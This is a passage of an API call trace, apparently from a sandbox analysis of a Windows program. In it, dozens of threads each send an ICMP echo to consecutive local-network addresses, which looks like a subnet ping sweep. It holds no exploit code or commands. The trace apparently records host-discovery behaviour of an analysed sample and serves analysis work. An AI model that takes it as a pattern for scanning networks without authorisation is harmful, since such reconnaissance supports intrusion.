	[0191.333] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x535460
	[0191.334] SetLastError (dwErrCode=0x57) 
	[0191.334] IcmpCreateFile () returned 0x531210
	[0193.174] IcmpSendEcho (in: IcmpHandle=0x531210, DestinationAddress=0x3000a8c0, RequestData=0xc19f9a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc19f9c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc19f9c0) returned 0x0
	[0283.641] IcmpCloseHandle (IcmpHandle=0x531210) returned 1
	[0283.641] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x535460 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1128
	os_tid = 0x17bc

	[0191.334] GetLastError () returned 0x57
	[0191.335] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x540e20
	[0191.336] SetLastError (dwErrCode=0x57) 
	[0191.336] IcmpCreateFile () returned 0x531260
	[0193.176] IcmpSendEcho (in: IcmpHandle=0x531260, DestinationAddress=0x3100a8c0, RequestData=0xc76fda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc76fdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc76fdc0) returned 0x0
	[0283.521] IcmpCloseHandle (IcmpHandle=0x531260) returned 1
	[0283.522] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x540e20 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1129
	os_tid = 0x17c0

	[0191.337] GetLastError () returned 0x57
	[0191.337] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5411f0
	[0191.338] SetLastError (dwErrCode=0x57) 
	[0191.338] IcmpCreateFile () returned 0x5312b0
	[0193.177] IcmpSendEcho (in: IcmpHandle=0x5312b0, DestinationAddress=0x3200a8c0, RequestData=0xc9dfa60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc9dfa80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc9dfa80) returned 0x0
	[0283.089] IcmpCloseHandle (IcmpHandle=0x5312b0) returned 1
	[0283.090] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5411f0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1130
	os_tid = 0x17c4

	[0191.338] GetLastError () returned 0x57
	[0191.338] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5415c0
	[0191.339] SetLastError (dwErrCode=0x57) 
	[0191.339] IcmpCreateFile () returned 0x531300
	[0193.178] IcmpSendEcho (in: IcmpHandle=0x531300, DestinationAddress=0x3300a8c0, RequestData=0xcb2fe20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcb2fe40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcb2fe40) returned 0x0
	[0282.632] IcmpCloseHandle (IcmpHandle=0x531300) returned 1
	[0282.633] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5415c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1131
	os_tid = 0x17c8

	[0191.340] GetLastError () returned 0x57
	[0191.340] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x541990
	[0191.340] SetLastError (dwErrCode=0x57) 
	[0191.340] IcmpCreateFile () returned 0x531350
	[0193.180] IcmpSendEcho (in: IcmpHandle=0x531350, DestinationAddress=0x3400a8c0, RequestData=0xcc3fce0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcc3fd00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcc3fd00) returned 0x0
	[0277.939] IcmpCloseHandle (IcmpHandle=0x531350) returned 1
	[0277.939] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x541990 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1132
	os_tid = 0x17cc

	[0191.553] GetLastError () returned 0x57
	[0191.553] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x541d60
	[0191.554] SetLastError (dwErrCode=0x57) 
	[0191.554] IcmpCreateFile () returned 0x5313a0
	[0193.181] IcmpSendEcho (in: IcmpHandle=0x5313a0, DestinationAddress=0x3500a8c0, RequestData=0xcdaf940, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcdaf960, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcdaf960) returned 0x0
	[0277.676] IcmpCloseHandle (IcmpHandle=0x5313a0) returned 1
	[0277.676] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x541d60 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1144
	os_tid = 0x17fc

	[0191.555] GetLastError () returned 0x57
	[0191.555] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x542130
	[0191.555] SetLastError (dwErrCode=0x57) 
	[0191.555] IcmpCreateFile () returned 0x5313f0
	[0193.182] IcmpSendEcho (in: IcmpHandle=0x5313f0, DestinationAddress=0x3600a8c0, RequestData=0xcf5f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xcf5f8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xcf5f8e0) returned 0x0
	[0277.296] IcmpCloseHandle (IcmpHandle=0x5313f0) returned 1
	[0277.297] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x542130 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1145
	os_tid = 0x6dc

	[0191.556] GetLastError () returned 0x57
	[0191.556] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x542500
	[0191.557] SetLastError (dwErrCode=0x57) 
	[0191.557] IcmpCreateFile () returned 0x531440
	[0193.184] IcmpSendEcho (in: IcmpHandle=0x531440, DestinationAddress=0x3700a8c0, RequestData=0xc87fc20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xc87fc40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xc87fc40) returned 0x0
	[0276.385] IcmpCloseHandle (IcmpHandle=0x531440) returned 1
	[0276.386] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x542500 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1146
	os_tid = 0x270

	[0191.558] GetLastError () returned 0x57
	[0191.558] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5428d0
	[0191.559] SetLastError (dwErrCode=0x57) 
	[0191.559] IcmpCreateFile () returned 0x531490
	[0193.185] IcmpSendEcho (in: IcmpHandle=0x531490, DestinationAddress=0x3800a8c0, RequestData=0xd10fde0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd10fe00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd10fe00) returned 0x0
	[0275.863] IcmpCloseHandle (IcmpHandle=0x531490) returned 1
	[0275.864] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5428d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1147
	os_tid = 0x141c

	[0191.560] GetLastError () returned 0x57
	[0191.560] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x542ca0
	[0191.560] SetLastError (dwErrCode=0x57) 
	[0191.560] IcmpCreateFile () returned 0x5314e0
	[0193.187] IcmpSendEcho (in: IcmpHandle=0x5314e0, DestinationAddress=0x3900a8c0, RequestData=0xbdbf920, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xbdbf940, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xbdbf940) returned 0x0
	[0275.008] IcmpCloseHandle (IcmpHandle=0x5314e0) returned 1
	[0275.009] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x542ca0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1148
	os_tid = 0xaf8

	[0191.561] GetLastError () returned 0x57
	[0191.561] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x543070
	[0191.561] SetLastError (dwErrCode=0x57) 
	[0191.562] IcmpCreateFile () returned 0x531530
	[0193.188] IcmpSendEcho (in: IcmpHandle=0x531530, DestinationAddress=0x3a00a8c0, RequestData=0xadef9c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xadef9e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xadef9e0) returned 0x0
	[0270.542] IcmpCloseHandle (IcmpHandle=0x531530) returned 1
	[0270.542] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x543070 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1149
	os_tid = 0x1420

	[0191.562] GetLastError () returned 0x57
	[0191.562] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x543440
	[0191.563] SetLastError (dwErrCode=0x57) 
	[0191.563] IcmpCreateFile () returned 0x531580
	[0193.190] IcmpSendEcho (in: IcmpHandle=0x531580, DestinationAddress=0x3b00a8c0, RequestData=0xd30fe80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd30fea0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd30fea0) returned 0x1
	[0270.026] IcmpCloseHandle (IcmpHandle=0x531580) returned 1
	[0270.026] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x543440 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1150
	os_tid = 0x2ac

	[0191.564] GetLastError () returned 0x57
	[0191.564] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x543810
	[0191.564] SetLastError (dwErrCode=0x57) 
	[0191.564] IcmpCreateFile () returned 0x5315d0
	[0193.193] IcmpSendEcho (in: IcmpHandle=0x5315d0, DestinationAddress=0x3c00a8c0, RequestData=0xd51fd60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd51fd80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd51fd80) returned 0x1
	[0269.419] IcmpCloseHandle (IcmpHandle=0x5315d0) returned 1
	[0269.419] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x543810 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1151
	os_tid = 0xb54

	[0191.565] GetLastError () returned 0x57
	[0191.565] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x543be0
	[0191.566] SetLastError (dwErrCode=0x57) 
	[0191.566] IcmpCreateFile () returned 0x531620
	[0193.194] IcmpSendEcho (in: IcmpHandle=0x531620, DestinationAddress=0x3d00a8c0, RequestData=0xd7afc40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd7afc60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd7afc60) returned 0x1
	[0268.628] IcmpCloseHandle (IcmpHandle=0x531620) returned 1
	[0268.628] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x543be0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1152
	os_tid = 0xdbc

	[0191.566] GetLastError () returned 0x57
	[0191.566] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x543fb0
	[0191.567] SetLastError (dwErrCode=0x57) 
	[0191.567] IcmpCreateFile () returned 0x531670
	[0193.196] IcmpSendEcho (in: IcmpHandle=0x531670, DestinationAddress=0x3e00a8c0, RequestData=0xd8ff8a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd8ff8c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd8ff8c0) returned 0x1
	[0268.270] IcmpCloseHandle (IcmpHandle=0x531670) returned 1
	[0268.270] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x543fb0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1153
	os_tid = 0x888

	[0191.568] GetLastError () returned 0x57
	[0191.568] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x544380
	[0191.568] SetLastError (dwErrCode=0x57) 
	[0191.568] IcmpCreateFile () returned 0x5316c0
	[0193.197] IcmpSendEcho (in: IcmpHandle=0x5316c0, DestinationAddress=0x3f00a8c0, RequestData=0xdaef7a0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdaef7c0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xdaef7c0) returned 0x1
	[0267.009] IcmpCloseHandle (IcmpHandle=0x5316c0) returned 1
	[0267.012] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x544380 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1154
	os_tid = 0x14b4

	[0191.569] GetLastError () returned 0x57
	[0191.569] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x544750
	[0191.570] SetLastError (dwErrCode=0x57) 
	[0191.570] IcmpCreateFile () returned 0x531710
	[0193.199] IcmpSendEcho (in: IcmpHandle=0x531710, DestinationAddress=0x4000a8c0, RequestData=0xdbffda0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdbffdc0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xdbffdc0) returned 0x1
	[0266.575] IcmpCloseHandle (IcmpHandle=0x531710) returned 1
	[0266.575] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x544750 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1155
	os_tid = 0x1538

	[0191.570] GetLastError () returned 0x57
	[0191.570] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x544e20
	[0191.573] SetLastError (dwErrCode=0x57) 
	[0191.573] IcmpCreateFile () returned 0x531760
	[0193.200] IcmpSendEcho (in: IcmpHandle=0x531760, DestinationAddress=0x4100a8c0, RequestData=0xd62f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd62f920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd62f920) returned 0x1
	[0266.055] IcmpCloseHandle (IcmpHandle=0x531760) returned 1
	[0266.055] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x544e20 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1156
	os_tid = 0x8e8

	[0191.574] GetLastError () returned 0x57
	[0191.574] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5451f0
	[0191.574] SetLastError (dwErrCode=0x57) 
	[0191.574] IcmpCreateFile () returned 0x5317b0
	[0193.202] IcmpSendEcho (in: IcmpHandle=0x5317b0, DestinationAddress=0x4200a8c0, RequestData=0xddefa20, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xddefa40, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xddefa40) returned 0x1
	[0262.646] IcmpCloseHandle (IcmpHandle=0x5317b0) returned 1
	[0262.647] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5451f0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1157
	os_tid = 0x248

	[0191.575] GetLastError () returned 0x57
	[0191.575] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5455c0
	[0191.575] SetLastError (dwErrCode=0x57) 
	[0191.575] IcmpCreateFile () returned 0x531800
	[0193.203] IcmpSendEcho (in: IcmpHandle=0x531800, DestinationAddress=0x4300a8c0, RequestData=0xe05f900, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe05f920, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe05f920) returned 0x1
	[0262.129] IcmpCloseHandle (IcmpHandle=0x531800) returned 1
	[0262.130] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5455c0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1158
	os_tid = 0x648

	[0191.823] GetLastError () returned 0x57
	[0191.823] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x545990
	[0191.824] SetLastError (dwErrCode=0x57) 
	[0191.824] IcmpCreateFile () returned 0x4ec870
	[0193.205] IcmpSendEcho (in: IcmpHandle=0x4ec870, DestinationAddress=0x4400a8c0, RequestData=0xe1afac0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe1afae0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe1afae0) returned 0x1
	[0261.629] IcmpCloseHandle (IcmpHandle=0x4ec870) returned 1
	[0261.629] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x545990 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1169
	os_tid = 0x153c

	[0191.824] GetLastError () returned 0x57
	[0191.825] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x545d60
	[0191.825] SetLastError (dwErrCode=0x57) 
	[0191.825] IcmpCreateFile () returned 0x5318f0
	[0193.207] IcmpSendEcho (in: IcmpHandle=0x5318f0, DestinationAddress=0x4500a8c0, RequestData=0xe39fd40, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe39fd60, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe39fd60) returned 0x1
	[0261.212] IcmpCloseHandle (IcmpHandle=0x5318f0) returned 1
	[0261.212] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x545d60 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1170
	os_tid = 0x14b0

	[0191.825] GetLastError () returned 0x57
	[0191.826] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x546130
	[0191.826] SetLastError (dwErrCode=0x57) 
	[0191.826] IcmpCreateFile () returned 0x531940
	[0193.208] IcmpSendEcho (in: IcmpHandle=0x531940, DestinationAddress=0x4600a8c0, RequestData=0xe4af780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe4af7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe4af7a0) returned 0x1
	[0260.696] IcmpCloseHandle (IcmpHandle=0x531940) returned 1
	[0260.697] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x546130 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1171
	os_tid = 0x1638

	[0191.828] GetLastError () returned 0x57
	[0191.828] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x546500
	[0191.828] SetLastError (dwErrCode=0x57) 
	[0191.828] IcmpCreateFile () returned 0x531990
	[0193.210] IcmpSendEcho (in: IcmpHandle=0x531990, DestinationAddress=0x4700a8c0, RequestData=0xdf5f8c0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xdf5f8e0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xdf5f8e0) returned 0x1
	[0260.306] IcmpCloseHandle (IcmpHandle=0x531990) returned 1
	[0260.306] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x546500 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1172
	os_tid = 0x15f4

	[0191.829] GetLastError () returned 0x57
	[0191.829] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5468d0
	[0191.829] SetLastError (dwErrCode=0x57) 
	[0191.829] IcmpCreateFile () returned 0x5319e0
	[0193.211] IcmpSendEcho (in: IcmpHandle=0x5319e0, DestinationAddress=0x4800a8c0, RequestData=0xe5dfa80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe5dfaa0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe5dfaa0) returned 0x1
	[0259.900] IcmpCloseHandle (IcmpHandle=0x5319e0) returned 1
	[0259.901] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x5468d0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1173
	os_tid = 0x155c

	[0191.830] GetLastError () returned 0x57
	[0191.830] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x546ca0
	[0191.831] SetLastError (dwErrCode=0x57) 
	[0191.831] IcmpCreateFile () returned 0x531a30
	[0193.212] IcmpSendEcho (in: IcmpHandle=0x531a30, DestinationAddress=0x4900a8c0, RequestData=0xe74f8e0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe74f900, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe74f900) returned 0x1
	[0259.565] IcmpCloseHandle (IcmpHandle=0x531a30) returned 1
	[0259.565] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x546ca0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1174
	os_tid = 0x1634

	[0191.832] GetLastError () returned 0x57
	[0191.832] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x547070
	[0191.834] SetLastError (dwErrCode=0x57) 
	[0191.834] IcmpCreateFile () returned 0x531a80
	[0193.214] IcmpSendEcho (in: IcmpHandle=0x531a80, DestinationAddress=0x4a00a8c0, RequestData=0xd41fb80, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xd41fba0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xd41fba0) returned 0x1
	[0258.048] IcmpCloseHandle (IcmpHandle=0x531a80) returned 1
	[0258.049] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x547070 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1175
	os_tid = 0x1558

	[0191.835] GetLastError () returned 0x57
	[0191.835] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x547440
	[0191.835] SetLastError (dwErrCode=0x57) 
	[0191.835] IcmpCreateFile () returned 0x551e70
	[0193.215] IcmpSendEcho (in: IcmpHandle=0x551e70, DestinationAddress=0x4b00a8c0, RequestData=0xea1f860, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xea1f880, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xea1f880) returned 0x1
	[0256.673] IcmpCloseHandle (IcmpHandle=0x551e70) returned 1
	[0256.673] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x547440 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1176
	os_tid = 0x15cc

	[0191.836] GetLastError () returned 0x57
	[0191.837] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x547810
	[0191.837] SetLastError (dwErrCode=0x57) 
	[0191.837] IcmpCreateFile () returned 0x551ec0
	[0193.217] IcmpSendEcho (in: IcmpHandle=0x551ec0, DestinationAddress=0x4c00a8c0, RequestData=0xe8bfc60, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xe8bfc80, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xe8bfc80) returned 0x1
	[0252.258] IcmpCloseHandle (IcmpHandle=0x551ec0) returned 1
	[0252.259] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x547810 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1177
	os_tid = 0x157c

	[0191.839] GetLastError () returned 0x57
	[0191.839] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x547be0
	[0191.840] SetLastError (dwErrCode=0x57) 
	[0191.840] IcmpCreateFile () returned 0x551f10
	[0193.218] IcmpSendEcho (in: IcmpHandle=0x551f10, DestinationAddress=0x4d00a8c0, RequestData=0xec0fae0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xec0fb00, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xec0fb00) returned 0x1
	[0251.700] IcmpCloseHandle (IcmpHandle=0x551f10) returned 1
	[0251.700] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x547be0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1178
	os_tid = 0x1804

	[0191.841] GetLastError () returned 0x57
	[0191.841] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x547fb0
	[0191.841] SetLastError (dwErrCode=0x57) 
	[0191.841] IcmpCreateFile () returned 0x551f60
	[0193.219] IcmpSendEcho (in: IcmpHandle=0x551f60, DestinationAddress=0x4e00a8c0, RequestData=0xee3fb00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xee3fb20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xee3fb20) returned 0x1
	[0251.216] IcmpCloseHandle (IcmpHandle=0x551f60) returned 1
	[0251.217] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x547fb0 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1179
	os_tid = 0x1808

	[0191.842] GetLastError () returned 0x57
	[0191.842] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x548380
	[0191.843] SetLastError (dwErrCode=0x57) 
	[0191.843] IcmpCreateFile () returned 0x551fb0
	[0193.221] IcmpSendEcho (in: IcmpHandle=0x551fb0, DestinationAddress=0x4f00a8c0, RequestData=0xefef800, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xefef820, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xefef820) returned 0x1
	[0250.367] IcmpCloseHandle (IcmpHandle=0x551fb0) returned 1
	[0250.368] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x548380 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1180
	os_tid = 0x180c

	[0191.843] GetLastError () returned 0x57
	[0191.843] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x548750
	[0191.844] SetLastError (dwErrCode=0x57) 
	[0191.844] IcmpCreateFile () returned 0x552000
	[0193.222] IcmpSendEcho (in: IcmpHandle=0x552000, DestinationAddress=0x5000a8c0, RequestData=0xf13fbc0, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf13fbe0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf13fbe0) returned 0x1
	[0249.498] IcmpCloseHandle (IcmpHandle=0x552000) returned 1
	[0249.499] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x548750 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1181
	os_tid = 0x1810

	[0192.157] GetLastError () returned 0x57
	[0192.157] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x552e70
	[0192.161] SetLastError (dwErrCode=0x57) 
	[0192.161] IcmpCreateFile () returned 0x552050
	[0193.224] IcmpSendEcho (in: IcmpHandle=0x552050, DestinationAddress=0x5100a8c0, RequestData=0xf3afe00, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf3afe20, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf3afe20) returned 0x1
	[0248.513] IcmpCloseHandle (IcmpHandle=0x552050) returned 1
	[0248.513] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x552e70 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1192
	os_tid = 0x183c

	[0192.161] GetLastError () returned 0x57
	[0192.161] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x553240
	[0192.162] SetLastError (dwErrCode=0x57) 
	[0192.162] IcmpCreateFile () returned 0x5520a0
	[0193.226] IcmpSendEcho (in: IcmpHandle=0x5520a0, DestinationAddress=0x5200a8c0, RequestData=0xf4df960, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf4df980, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf4df980) returned 0x1
	[0247.554] IcmpCloseHandle (IcmpHandle=0x5520a0) returned 1
	[0247.555] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x553240 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1193
	os_tid = 0x1840

	[0192.163] GetLastError () returned 0x57
	[0192.163] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x553610
	[0192.163] SetLastError (dwErrCode=0x57) 
	[0192.163] IcmpCreateFile () returned 0x5520f0
	[0193.227] IcmpSendEcho (in: IcmpHandle=0x5520f0, DestinationAddress=0x5300a8c0, RequestData=0xf64f880, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xf64f8a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xf64f8a0) returned 0x1
	[0245.831] IcmpCloseHandle (IcmpHandle=0x5520f0) returned 1
	[0245.832] HeapFree (in: hHeap=0x4d0000, dwFlags=0x0, lpMem=0x553610 | out: hHeap=0x4d0000) returned 1

Thread:
	id = 1194
	os_tid = 0x1844

	[0192.164] GetLastError () returned 0x57
	[0192.164] RtlAllocateHeap (HeapHandle=0x4d0000, Flags=0x8, Size=0x3c8) returned 0x5539e0
	[0192.164] SetLastError (dwErrCode=0x57) 
	[0192.164] IcmpCreateFile () returned 0x552140
	[0193.228] IcmpSendEcho (in: IcmpHandle=0x552140, DestinationAddress=0x5400a8c0, RequestData=0xed1f780, RequestSize=0x20, RequestOptions=0x0, ReplyBuffer=0xed1f7a0, ReplySize=0x4c, Timeout=0x157c | out: ReplyBuffer=0xed1f7a0) returned 0x1
	[0245.384] IcmpCloseHandle (IcmpHandle=0x552140) returned 1
